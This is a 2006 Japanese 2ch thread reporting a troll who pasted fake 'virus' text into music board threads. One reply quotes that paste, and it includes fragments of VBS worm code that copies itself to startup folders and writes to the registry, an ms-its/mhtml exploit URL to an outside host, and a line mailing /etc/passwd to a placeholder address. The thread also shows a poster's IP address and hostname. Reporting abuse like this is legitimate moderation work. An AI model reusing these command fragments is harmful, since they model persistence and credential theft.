★061029 音楽系板『ｋａｋ．ｈｔａ＇；』ｺﾋﾟﾍﾟ荒し

**名無しの報告** · 2006/10/29(日) 23:57:37

邦楽男性ソロ板 http://music5.2ch.net/musicjm/
邦楽女性ソロ板 http://music5.2ch.net/musicjf/
全スレに、いわゆる「ウイルスコピペ」を貼り付ける荒らしを報告するスレ

◆報告の注意
・http://info.2ch.net/wiki/pukiwiki.php?%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0
・書式を合わせて報告して下さい。フォーマットに沿っていないと原則スルーです。

◆書式
最新の書式はwikiを確認してください。
http://info.2ch.net/wiki/pukiwiki.php?%B3%C6%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0%A4%CE%BD%F1%BC%B0
・書式４を推奨します。
・1報告10URL。半角スペースで区切ってください。
※時系列で報告して下さい。
※曜日表示は消して報告して下さい。

◆特徴
爆撃範囲　邦楽男性ソロ板・邦楽女性ソロ板の全スレ
継続性　　　2006年7月頃から

規模頻度
新スレが立つと必ずウイルス誤認コードを貼り付ける
2006年10月1日以降に立てられた現存スレの全てに貼り付けられていることを確認しています

**宿無し** · 2006/11/01(水) 15:59:03

>>96 続き
○書き込み内容の一部転載
http://music5.2ch.net/test/read.cgi/musicjf/1162303498/3
>3 ：名無しの歌姫：2006/10/31(火) 23:11:06 ID:4GT5tauT
> kak.hta';ken=wd+'START
> cat /etc/passwd | mail nobody@nonexistent.com
>
> <body onload=window()>
> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
> Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
> fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
> c.Copy(dirsystem&"\MSKernel32.vbs")
> c.Copy(dirwin&"\Win32DLL.vbs")
> c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
> X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
> fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
> If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
> ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
> G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
> lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
> ms-its:mhtml:file://c:\
> kak.hta';ken=wd+'START
> kill -9 xz/tSaBh0
> Sub auto_open()
> Application.OnSheetActivate = "check_files"
> End Sub
> Sub check_files()
> c$ = Application.StartupPath
> m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
> If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
> If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
> whichfile = p + w * 10
> End Sub
> ？？

○該当部分のログ
名無しの歌姫<>sage<>2006/10/31(火) 23:11:06 4GT5tauT<>kak.hta';ken=wd+'START <br> ca<><>p57b3b3.szoknt01.ap.so-net.ne.jp<>58.87.179.179<><>Monazilla/1.00 (JaneStyle/2.41)

**名無しの報告** · 2006/11/01(水) 20:14:05

まとめありがとうございます。

>94-97
sonet規制
http://qb5.2ch.net/test/read.cgi/sec2ch/1055514194/294
szoknt\d+.ap.so-net.ne.jp (規制)